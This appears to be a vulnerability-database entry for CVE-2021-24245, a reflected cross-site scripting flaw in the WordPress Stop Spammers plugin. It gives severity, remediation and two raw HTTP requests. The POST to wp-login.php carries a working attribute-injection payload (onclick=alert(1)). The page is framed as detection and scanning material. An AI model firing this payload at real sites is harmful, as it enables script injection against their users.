🔙 목록으로 돌아가기

CVE-2021-24245: WordPress Stop Spammers <2021.9 - Cross-Site Scripting

TitleWordPress Stop Spammers <2021.9 - Cross-Site Scripting
Authoredoardottt
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
RemediationUpdate to the latest version of the WordPress Stop Spammers plugin (2021.9 or later) to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.17943
CVE IDCVE-2021-24245
CWE IDCWE-79
Tags cve2021 cve wpscan wordpress xss wp-plugin packetstorm trumani vuln

🔍 Vulnerability Description

WordPress Stop Spammers plugin before 2021.9 contains a reflected cross-site scripting vulnerability. It does not escape user input when blocking requests (such as matching a spam word), thus outputting it in an attribute after sanitizing it to remove HTML tags.

🌐 HTTP Request

GET /wp-content/plugins/stop-spammer-registrations-plugin/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.6 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Connection: close
Content-Length: 141
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP+Cookie+check;
Accept-Encoding: gzip

log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24245.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24245.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A